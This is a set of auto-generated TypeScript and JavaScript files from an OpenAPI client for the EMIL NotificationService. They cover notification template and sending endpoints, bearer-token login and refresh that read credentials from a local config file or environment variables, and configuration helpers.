* The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly order?: string
/**
* Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly expand?: string
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly filters?: string
}
/**
* Request parameters for updateNotificationTemplate operation in NotificationTemplatesApi.
* @export
* @interface NotificationTemplatesApiUpdateNotificationTemplateRequest
*/
export interface NotificationTemplatesApiUpdateNotificationTemplateRequest {
/**
*
* @type {number}
* @memberof NotificationTemplatesApiUpdateNotificationTemplate
*/
readonly id: number
/**
*
* @type {UpdateNotificationTemplateRequestDto}
* @memberof NotificationTemplatesApiUpdateNotificationTemplate
*/
readonly updateNotificationTemplateRequestDto: UpdateNotificationTemplateRequestDto
/**
* Bearer Token
* @type {string}
* @memberof NotificationTemplatesApiUpdateNotificationTemplate
*/
readonly authorization?: string
}
/**
* NotificationTemplatesApi - object-oriented interface
* @export
* @class NotificationTemplatesApi
* @extends {BaseAPI}
*/
export class NotificationTemplatesApi extends BaseAPI {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {NotificationTemplatesApiCreateNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
public createNotificationTemplate(requestParameters: NotificationTemplatesApiCreateNotificationTemplateRequest, options?: AxiosRequestConfig) {
return NotificationTemplatesApiFp(this.configuration).createNotificationTemplate(requestParameters.createNotificationTemplateRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {NotificationTemplatesApiDeleteNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
public deleteNotificationTemplate(requestParameters: NotificationTemplatesApiDeleteNotificationTemplateRequest, options?: AxiosRequestConfig) {
return NotificationTemplatesApiFp(this.configuration).deleteNotificationTemplate(requestParameters.id, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {NotificationTemplatesApiGetNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
public getNotificationTemplate(requestParameters: NotificationTemplatesApiGetNotificationTemplateRequest, options?: AxiosRequestConfig) {
return NotificationTemplatesApiFp(this.configuration).getNotificationTemplate(requestParameters.id, requestParameters.id2, requestParameters.authorization, requestParameters.expand, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {NotificationTemplatesApiListNotificationTemplatesRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
public listNotificationTemplates(requestParameters: NotificationTemplatesApiListNotificationTemplatesRequest = {}, options?: AxiosRequestConfig) {
return NotificationTemplatesApiFp(this.configuration).listNotificationTemplates(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {NotificationTemplatesApiUpdateNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
public updateNotificationTemplate(requestParameters: NotificationTemplatesApiUpdateNotificationTemplateRequest, options?: AxiosRequestConfig) {
return NotificationTemplatesApiFp(this.configuration).updateNotificationTemplate(requestParameters.id, requestParameters.updateNotificationTemplateRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
// Some imports not used depending on template conditions
// @ts-ignore
import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common';
// @ts-ignore
import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base';
// @ts-ignore
import { SendNotificationRequestDto } from '../models';
// @ts-ignore
import { SendNotificationResponseClass } from '../models';
// URLSearchParams not necessarily used
// @ts-ignore
import { URL, URLSearchParams } from 'url';
const FormData = require('form-data');
/**
* NotificationsApi - axios parameter creator
* @export
*/
export const NotificationsApiAxiosParamCreator = function (configuration?: Configuration) {
return {
/**
* undefined **Required Permissions** none
* @param {SendNotificationRequestDto} sendNotificationRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
sendNotification: async (sendNotificationRequestDto: SendNotificationRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'sendNotificationRequestDto' is not null or undefined
assertParamExists('sendNotification', 'sendNotificationRequestDto', sendNotificationRequestDto)
const localVarPath = `/notificationservice/v1/notifications`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
localVarRequestOptions.data = serializeDataIfNeeded(sendNotificationRequestDto, localVarRequestOptions, configuration)
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
}
};
/**
* NotificationsApi - functional programming interface
* @export
*/
export const NotificationsApiFp = function(configuration?: Configuration) {
const localVarAxiosParamCreator = NotificationsApiAxiosParamCreator(configuration)
return {
/**
* undefined **Required Permissions** none
* @param {SendNotificationRequestDto} sendNotificationRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async sendNotification(sendNotificationRequestDto: SendNotificationRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<SendNotificationResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.sendNotification(sendNotificationRequestDto, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
}
};
/**
* NotificationsApi - factory interface
* @export
*/
export const NotificationsApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) {
const localVarFp = NotificationsApiFp(configuration)
return {
/**
* undefined **Required Permissions** none
* @param {SendNotificationRequestDto} sendNotificationRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
sendNotification(sendNotificationRequestDto: SendNotificationRequestDto, authorization?: string, options?: any): AxiosPromise<SendNotificationResponseClass> {
return localVarFp.sendNotification(sendNotificationRequestDto, authorization, options).then((request) => request(axios, basePath));
},
};
};
/**
* Request parameters for sendNotification operation in NotificationsApi.
* @export
* @interface NotificationsApiSendNotificationRequest
*/
export interface NotificationsApiSendNotificationRequest {
/**
*
* @type {SendNotificationRequestDto}
* @memberof NotificationsApiSendNotification
*/
readonly sendNotificationRequestDto: SendNotificationRequestDto
/**
* Bearer Token
* @type {string}
* @memberof NotificationsApiSendNotification
*/
readonly authorization?: string
}
/**
* NotificationsApi - object-oriented interface
* @export
* @class NotificationsApi
* @extends {BaseAPI}
*/
export class NotificationsApi extends BaseAPI {
/**
* undefined **Required Permissions** none
* @param {NotificationsApiSendNotificationRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationsApi
*/
public sendNotification(requestParameters: NotificationsApiSendNotificationRequest, options?: AxiosRequestConfig) {
return NotificationsApiFp(this.configuration).sendNotification(requestParameters.sendNotificationRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { Configuration } from "./configuration";
// Some imports not used depending on template conditions
// @ts-ignore
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios';
import * as fs from 'fs';
import * as path from 'path';
import * as os from 'os';
export const BASE_PATH = "https://apiv2.emil.de".replace(/\/+$/, "");
const CONFIG_DIRECTORY = '.emil';
const CONFIG_FILENAME = 'credentials';
const KEY_USERNAME = 'emil_username';
const KEY_PASSWORD = 'emil_password';
const filePath = os.homedir() + path.sep + CONFIG_DIRECTORY + path.sep + CONFIG_FILENAME;
/**
*
* @export
*/
export const COLLECTION_FORMATS = {
csv: ",",
ssv: " ",
tsv: "\t",
pipes: "|",
};
export interface LoginClass {
accessToken: string;
permissions: string;
}
export interface SwitchWorkspaceRequest {
username: string;
targetWorkspace: string;
}
export interface SwitchWorkspaceResponseClass {
accessToken: string;
permissions: string;
}
export enum Environment {
Production = 'https://apiv2.emil.de',
Test = 'https://apiv2-test.emil.de',
Staging = 'https://apiv2-staging.emil.de',
Development = 'https://apiv2-dev.emil.de',
ProductionZurich = 'https://eu-central-2.apiv2.emil.de',
}
let _retry_count = 0
let _retry = null
export function resetRetry() {
_retry_count = 0
}
/**
*
* @export
* @interface RequestArgs
*/
export interface RequestArgs {
url: string;
options: AxiosRequestConfig;
}
const NETWORK_ERROR_MESSAGE = "Network Error";
/**
*
* @export
* @class BaseAPI
*/
export class BaseAPI {
protected configuration: Configuration;
private username?: string;
private password?: string;
constructor(configuration?: Configuration, protected basePath: string = BASE_PATH, protected axios: AxiosInstance = globalAxios) {
if (configuration) {
this.configuration = configuration;
this.basePath = configuration.basePath || this.basePath;
} else {
this.configuration = new Configuration({
basePath: this.basePath,
});
}
this.attachInterceptor(axios);
}
async initialize(env: Environment = Environment.Production, targetWorkspace?: string) {
this.configuration.basePath = env;
await this.loadCredentials();
if (this.username) {
await this.authorize(this.username, this.password, targetWorkspace);
this.password = null; // to avoid keeping password loaded in memory.
}
}
private async loadCredentials() {
try {
await this.readConfigFile();
} catch (error) {
console.warn(`No credentials file found. Check that ${filePath} exists.`);
}
this.readEnvVariables();
if (!this.username) {
console.info(`No credentials found in credentials file or environment variables. Either provide some or use
authorize() function.`);
}
}
private async readConfigFile() {
const file = await fs.promises.readFile(filePath, 'utf-8');
const lines = file.split(os.EOL)
.filter(Boolean);
lines.forEach((line: string) => {
if (line.startsWith(KEY_USERNAME)) {
this.username = line.length > KEY_USERNAME.length + 1 ? line.substring(KEY_USERNAME.length + 1) : '';
} else if (line.startsWith(KEY_PASSWORD)) {
this.password = line.length > KEY_PASSWORD.length + 1 ? line.substring(KEY_PASSWORD.length + 1) : '';
}
});
}
private readEnvVariables(): boolean {
if (process.env.EMIL_USERNAME) {
this.username = process.env.EMIL_USERNAME;
this.password = process.env.EMIL_PASSWORD || '';
return true;
}
return false;
}
selectEnvironment(env: Environment) {
this.configuration.basePath = env;
}
async authorize(username: string, password: string, targetWorkspace?: string): Promise<void> {
const options: AxiosRequestConfig = {
method: 'POST',
url: `${this.configuration.basePath}/authservice/v1/login`,
headers: { 'Content-Type': 'application/json' },
data: {
username,
password,
},
withCredentials: true,
};
const response = await globalAxios.request<LoginClass>(options);
const { data: { accessToken } } = response;
this.configuration.username = username;
this.configuration.accessToken = `Bearer ${accessToken}`;
const refreshToken = this.extractRefreshToken(response)
this.configuration.refreshToken = refreshToken;
// Switch workspace if provided
if (targetWorkspace) {
await this.switchWorkspace(targetWorkspace);
}
}
async switchWorkspace(targetWorkspace: string): Promise<void> {
const options: AxiosRequestConfig = {
method: 'POST',
url: `${this.configuration.basePath}/authservice/v1/workspaces/switch`,
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${this.configuration.accessToken}`,
'Cookie': this.configuration.refreshToken,
},
data: {
username: this.configuration.username,
targetWorkspace,
} as SwitchWorkspaceRequest,
withCredentials: true,
};
const response = await globalAxios.request<SwitchWorkspaceResponseClass>(options);
const { data: { accessToken } } = response;
this.configuration.accessToken = `Bearer ${accessToken}`;
const refreshToken = this.extractRefreshToken(response);
if (refreshToken) {
this.configuration.refreshToken = refreshToken;
}
}
async refreshTokenInternal(): Promise<string> {
const { username, refreshToken } = this.configuration;
if (!username || !refreshToken) {
return '';
}
const options: AxiosRequestConfig = {
method: 'POST',
url: `${this.configuration.basePath}/authservice/v1/refresh-token`,
headers: {
'Content-Type': 'application/json',
Cookie: refreshToken,
},
data: { username: username },
withCredentials: true,
};
const { data: { accessToken } } = await globalAxios.request<LoginClass>(options);
return accessToken;
}
private extractRefreshToken(response: AxiosResponse): string {
if (response.headers && response.headers['set-cookie']
&& response.headers['set-cookie'].length > 0) {
return `${response.headers['set-cookie'][0].split(';')[0]};`;
}
return '';
}
getConfiguration(): Configuration {
return this.configuration;
}
private attachInterceptor(axios: AxiosInstance) {
axios.interceptors.response.use(
(res) => {
return res;
},
async (err) => {
let originalConfig = err.config;
if (err.response) {
// Access Token was expired
if (err.response.status === 401 && !originalConfig._retry) {
originalConfig._retry = true;
try {
const tokenString = await this.refreshTokenInternal();
const accessToken = `Bearer ${tokenString}`;
originalConfig.headers['Authorization'] = accessToken;
this.configuration.accessToken = accessToken;
return axios.request(originalConfig);
} catch (_error) {
if (_error.response && _error.response.data) {
return Promise.reject(_error.response.data);
}
return Promise.reject(_error);
}
}
if (err.response.status === 403 && err.response.data) {
return Promise.reject(err.response.data);
}
} else if(err.message === NETWORK_ERROR_MESSAGE
&& err.isAxiosError
&& originalConfig.headers.hasOwnProperty('Authorization')
&& _retry_count < 4
){
_retry_count++;
try {
const tokenString = await this.refreshTokenInternal();
const accessToken = `Bearer ${tokenString}`;
_retry = true;
originalConfig.headers['Authorization'] = accessToken;
this.configuration.accessToken = accessToken;
return axios.request({
...originalConfig,
});
} catch (_error) {
if (_error.response && _error.response.data) {
return Promise.reject(_error.response.data);
}
return Promise.reject(_error);
}
}
return Promise.reject(err);
}
);
}
};
/**
*
* @export
* @class RequiredError
* @extends {Error}
*/
export class RequiredError extends Error {
override name: "RequiredError" = "RequiredError";
constructor(public field: string, msg?: string) {
super(msg);
}
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { Configuration } from "./configuration";
import { RequiredError, RequestArgs } from "./base";
import { AxiosInstance, AxiosResponse } from 'axios';
import { URL, URLSearchParams } from 'url';
/**
*
* @export
*/
export const DUMMY_BASE_URL = 'https://example.com'
/**
*
* @throws {RequiredError}
* @export
*/
export const assertParamExists = function (functionName: string, paramName: string, paramValue: unknown) {
if (paramValue === null || paramValue === undefined) {
throw new RequiredError(paramName, `Required parameter ${paramName} was null or undefined when calling ${functionName}.`);
}
}
/**
*
* @export
*/
export const setApiKeyToObject = async function (object: any, keyParamName: string, configuration?: Configuration) {
if (configuration && configuration.apiKey) {
const localVarApiKeyValue = typeof configuration.apiKey === 'function'
? await configuration.apiKey(keyParamName)
: await configuration.apiKey;
object[keyParamName] = localVarApiKeyValue;
}
}
/**
*
* @export
*/
export const setBasicAuthToObject = function (object: any, configuration?: Configuration) {
if (configuration && (configuration.username || configuration.password)) {
object["auth"] = { username: configuration.username, password: configuration.password };
}
}
/**
*
* @export
*/
export const setBearerAuthToObject = async function (object: any, configuration?: Configuration) {
if (configuration && configuration.accessToken) {
const accessToken = typeof configuration.accessToken === 'function'
? await configuration.accessToken()
: await configuration.accessToken;
object["Authorization"] = configuration.getBearerToken(accessToken);
}
}
/**
*
* @export
*/
export const setOAuthToObject = async function (object: any, name: string, scopes: string[], configuration?: Configuration) {
if (configuration && configuration.accessToken) {
const localVarAccessTokenValue = typeof configuration.accessToken === 'function'
? await configuration.accessToken(name, scopes)
: await configuration.accessToken;
object["Authorization"] = configuration.getBearerToken(localVarAccessTokenValue);
}
}
/**
*
* @export
*/
export const setSearchParams = function (url: URL, ...objects: any[]) {
const searchParams = new URLSearchParams(url.search);
for (const object of objects) {
for (const key in object) {
if (Array.isArray(object[key])) {
searchParams.delete(key);
for (const item of object[key]) {
searchParams.append(key, item);
}
} else {
searchParams.set(key, object[key]);
}
}
}
url.search = searchParams.toString();
}
/**
*
* @export
*/
export const serializeDataIfNeeded = function (value: any, requestOptions: any, configuration?: Configuration) {
const nonString = typeof value !== 'string';
const needsSerialization = nonString && configuration && configuration.isJsonMime
? configuration.isJsonMime(requestOptions.headers['Content-Type'])
: nonString;
return needsSerialization
? JSON.stringify(value !== undefined ? value : {})
: (value || "");
}
/**
*
* @export
*/
export const toPathString = function (url: URL) {
return url.pathname + url.search + url.hash
}
/**
*
* @export
*/
export const createRequestFunction = function (axiosArgs: RequestArgs, globalAxios: AxiosInstance, BASE_PATH: string, configuration?: Configuration) {
return <T = unknown, R = AxiosResponse<T>>(axios: AxiosInstance = globalAxios, basePath: string = BASE_PATH) => {
const axiosRequestArgs = {...axiosArgs.options, url: (configuration?.basePath || basePath) + axiosArgs.url};
return axios.request<T, R>(axiosRequestArgs);
};
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export interface IStorageConverter<D, SD> {
toStorageData( data: D ): SD;
fromStorageData( storageData: SD ): D;
}
export interface IStorage {
get<T>( key: string, converter?: IStorageConverter<T, any> ): T | null;
set<T>( key: string, value: T, converter?: IStorageConverter<T, any> ): void;
}
export class LocalStorage implements IStorage {
readonly storage: Storage;
constructor() {
this.storage = localStorage;
}
get<T>( key: string, converter?: IStorageConverter<T, any> ): T | null {
const jsonValue = this.storage.getItem( key );
if ( jsonValue === null ) {
return null;
}
const value = JSON.parse( jsonValue );
if ( converter !== undefined ) {
return converter.fromStorageData( value );
} else {
return value as T;
}
}
set<T>( key: string, value: T, converter?: IStorageConverter<T, any> ): void {
let valueToStore: any = value;
if ( converter !== undefined ) {
valueToStore = converter.toStorageData( value );
}
const jsonValue = JSON.stringify( valueToStore );
this.storage.setItem( key, jsonValue );
}
}
let _defaultStorage: IStorage = null;
export const defaultStorage = (): IStorage => {
return _defaultStorage || (_defaultStorage = new LocalStorage());
};
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export interface ConfigurationParameters {
apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>);
username?: string;
password?: string;
accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>);
basePath?: string;
baseOptions?: any;
formDataCtor?: new () => any;
}
export class Configuration {
/**
* parameter for apiKey security
* @param name security name
* @memberof Configuration
*/
apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>);
/**
* parameter for basic security
*
* @type {string}
* @memberof Configuration
*/
username?: string;
/**
* parameter for basic security
*
* @type {string}
* @memberof Configuration
*/
password?: string;
/**
* parameter for oauth2 security
* @param name security name
* @param scopes oauth2 scope
* @memberof Configuration
*/
accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>);
/**
* override base path
*
* @type {string}
* @memberof Configuration
*/
basePath?: string;
/**
* base options for axios calls
*
* @type {any}
* @memberof Configuration
*/
baseOptions?: any;
/**
* The FormData constructor that will be used to create multipart form data
* requests. You can inject this here so that execution environments that
* do not support the FormData class can still run the generated client.
*
* @type {new () => FormData}
*/
formDataCtor?: new () => any;
/**
* parameter for automatically refreshing access token for oauth2 security
*
* @type {string}
* @memberof Configuration
*/
refreshToken?: string;
constructor(param: ConfigurationParameters = {}) {
this.apiKey = param.apiKey;
this.username = param.username;
this.password = param.password;
this.accessToken = param.accessToken;
this.basePath = param.basePath;
this.baseOptions = param.baseOptions;
this.formDataCtor = param.formDataCtor;
}
/**
* Check if the given MIME is a JSON MIME.
* JSON MIME examples:
* application/json
* application/json; charset=UTF8
* APPLICATION/JSON
* application/vnd.company+json
* @param mime - MIME (Multipurpose Internet Mail Extensions)
* @return True if the given MIME is JSON, false otherwise.
*/
public isJsonMime(mime: string): boolean {
const jsonMime: RegExp = new RegExp('^(application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(;.*)?$', 'i');
return mime !== null && (jsonMime.test(mime) || mime.toLowerCase() === 'application/json-patch+json');
}
/**
* Returns "Bearer" token.
* @param token - access token.
* @return Bearer token.
*/
public getBearerToken(token?: string): string {
return ('' + token).startsWith("Bearer") ? token : "Bearer " + token;
}
}
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export * from './api/default-api';
export * from './api/email-messages-api';
export * from './api/email-tracking-api';
export * from './api/email-verifications-api';
export * from './api/layouts-api';
export * from './api/notification-templates-api';
export * from './api/notifications-api';
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
__exportStar(require("./api/default-api"), exports);
__exportStar(require("./api/email-messages-api"), exports);
__exportStar(require("./api/email-tracking-api"), exports);
__exportStar(require("./api/email-verifications-api"), exports);
__exportStar(require("./api/layouts-api"), exports);
__exportStar(require("./api/notification-templates-api"), exports);
__exportStar(require("./api/notifications-api"), exports);
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
import { RequestArgs, BaseAPI } from '../base';
import { InlineResponse200 } from '../models';
/**
* DefaultApi - axios parameter creator
* @export
*/
export declare const DefaultApiAxiosParamCreator: (configuration?: Configuration) => {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check: (options?: AxiosRequestConfig) => Promise<RequestArgs>;
};
/**
* DefaultApi - functional programming interface
* @export
*/
export declare const DefaultApiFp: (configuration?: Configuration) => {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check(options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<InlineResponse200>>;
};
/**
* DefaultApi - factory interface
* @export
*/
export declare const DefaultApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check(options?: any): AxiosPromise<InlineResponse200>;
};
/**
* DefaultApi - object-oriented interface
* @export
* @class DefaultApi
* @extends {BaseAPI}
*/
export declare class DefaultApi extends BaseAPI {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof DefaultApi
*/
check(options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<InlineResponse200, any, {}>>;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
